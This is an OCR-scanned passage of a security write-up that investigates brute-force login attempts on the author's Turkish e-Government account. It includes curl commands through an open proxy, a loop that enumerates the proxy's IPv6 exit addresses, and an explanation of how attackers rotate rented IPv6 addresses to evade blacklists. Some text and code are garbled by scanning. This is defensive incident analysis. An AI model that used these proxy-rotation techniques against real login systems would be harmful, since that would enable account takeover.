webpage  was  sent using the IPv6  address
2001:19f0:6801:8dd:4995:dc24:1643:54d5. In short, the
answer to the question was “Yes” These were indeed open
proxy servers, allowing me to make web requests to target web

pages while hiding my own IPv4 address.

% curl -L -x 45.32.148.233:22939 https://ifconfig.me/all
ip_addr: 2001:19f0:6801:8dd:4995:dc24:1643:54d5
remote_host: unavailable
user_agent: curl/8.1.2
port: 48392
EL[VEL[-H
referer:
connection:
keep_alive:

method: GET

encoding:

mime: */*

charset:

via: 1.1 google

forwarded: 2001:19f0:6801:8dd:4995:dc24:1643:54d5, 2600:1901:0:b2bd::,130.211.0.85

However, the proxy server with the IPv6 address
2001:19f0:6801:8dd:4995:dc24:1643:54d5, as shown in the
screenshot above, was not one of those involved in the
temporary closure of my e-Government account


https://search.censys.io/hosts/45.32.148.233
https://en.wikipedia.org/wiki/WinGate
https://en.wikipedia.org/wiki/Proxy_server
https://tr.wikipedia.org/wiki/CURL
https://ifconfig.me/all

208 mertsarica

(2001:19f0:6801:8dd:daab:291b:a4d6:dfc7). To determine the
relationship between this proxy server and the mentioned IPv6,
I prepared a simple script that connects to the open 2000 ports
of the IPv4 address 45.32.148.233 and sends a request to the
https://ifconfig.me/ip webpage.

#!/bin/sh

for ((i=22000; 1i=24000; i++))

do

curl -x 45.32.148.233:51 -L -s -k
https://ifconfig.me/ip >>

ip check 45.32.148.233.txt
echo '"'" >> ip check 45.32.148.233.txt
sleep 1

done

In each response from the webpage, a different IPv6 address
was present. According to this result, malicious individuals
could perform a brute-force attack on a webpage using 2000
different IPv6 addresses. After the script ran for a while, I was
able to identify the IPv6 address that was responsible for the

attack on my e-Government account among these addresses.

sifre Durumunuz

Son Degisiklik Tarihi = oa e
Sonraki DegisiklikTarini W -

Son Basarisiz Giris Denemesi  Sifre 25/10/2023 18:46:22 (IP:2001:190:6001:20f9a7f:317:c645:37eb:48067)

Sisteme Giris Gegmisiniz

Tarih Uygulama  Sonug 1P Adresi Tar
25/10/2023 20:18:01 - Basarh m sifre
25/10/2023 18:46:22 Basansz  2001:19f0:6001:20f9a7f:d317:c645:37eb:48067 sifre

25/10/2023 18:46:18 Basarisiz

2001190680180 dsab29 baddsccravass QD sire

2001:19f0:8001:€50:8404:4287:€3cf:5

25/10/2023 18:46:16
25/10/2023 18:46:10 2600:3c03:000:44:ec11:517f:1
25/10/2023 18:44:18 2001:19f0:8001:13a:f42d:4d56:dl

12/10/2023 19:48:33 2600:3c06:2001:7ab:c626:989:9:



https://ifconfig.me/ip
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Why are they using an IPv6 address?

While conducting all these investigations, I began to ponder
why the attacker chose to use IPv6 addresses. After some time,
I realized that the devil is in the details.

When you rent a server from service providers like
DigitalOcean, Linode, Vultr, they allocate one IPv4 address to

you, and you use this IP address for all your internet-related

activities on that server.

Cybercriminals often rent servers from such service providers
to carry out or camouflage their cyber attacks. Over time, the
IPv4 addresses of servers used in their cyber attacks get
detected, blocked, and added to global blacklists by security
technologies. As the attempted attacks get thwarted, and their
IPv4 addresses become unusable, and with accounts and
servers rapidly getting shut down due to complaint
notifications, they find themselves in the quest for new servers.

For instance, if we assume that they perform these cyber
attacks from 100 servers, paying $6 per server, they would
incur a total cost of $600. The longer they can carry out these
attacks without being detected, the more cost-effective it
becomes for them. Otherwise, as they get blacklisted, they
repeatedly have to bear this cost as their accounts and servers
are shut down.

Now, how does using IPv6 instead of IPv4 change the game?
These service providers typically grant their customers using
rented servers only one IPv4 address. However, when it comes
to IPv6, they can produce and use thousands of them. This

allows malicious actors to conduct their attacks using over


https://www.digitalocean.com/
https://www.linode.com/
https://www.vultr.com/
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a thousand IPv6 addresses by paying just $6. As they get
blacklisted, they can generate and use new IPv6 addresses on
the servers they employ, effectively avoiding significant

consequences until complaints reach the service provider.

So, did the e-Government application, with its security controls
and measures, truly make it difficult for attackers to use IPv4
instead of IPv6? Or did attackers prefer IPv6 to secure their
operations? To investigate this, after my e-Government
account was temporarily closed due to five incorrect login
attempts, I tried to log in with the correct password to my
wife’s account immediately afterward and successfully gained

acCcess.

According to this result, if, in the application or at the network
level, an IPv4 account is not blacklisted or blocked when a
brute-force attack is attempted on more than two accounts,
attackers could carry out these attacks with a single IPv4
address on multiple accounts for an extended period.
Otherwise, using IPv6 addresses becomes their only option.

Since I didn’t have the chance to test and confirm this on
more than two e-Government accounts, and considering that
attackers conducted these attacks through IPv6 systems, it is
highly likely that e-Government security measures were
effective against the IPv4 addresses used by attackers.

How Can | Protect My e-Government Account?

In conclusion, we can see that cyber attackers, over the years,
have resorted to various methods to hack Turkish e-
Government accounts, utilizing compromised systems forming

bot networks, occasionally using their systems, employing
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proxy server software to hide their tracks and avoid detection,
and purchasing servers from service providers with IPvé6

support. In short, they have explored every avenue.

So how can you protect yourself from the attacks discussed in
this article? The most crucial step you need to take is to use one
of the two-factor authentication methods when logging into

your e-Government account.

On this occasion, I wish you a happy new year and hope that
2024 brings health, happiness, and success to you and all your
loved ones.

Hope to see you in the following articles.


https://github.com/rafaelb128/ipv6-proxy-creator
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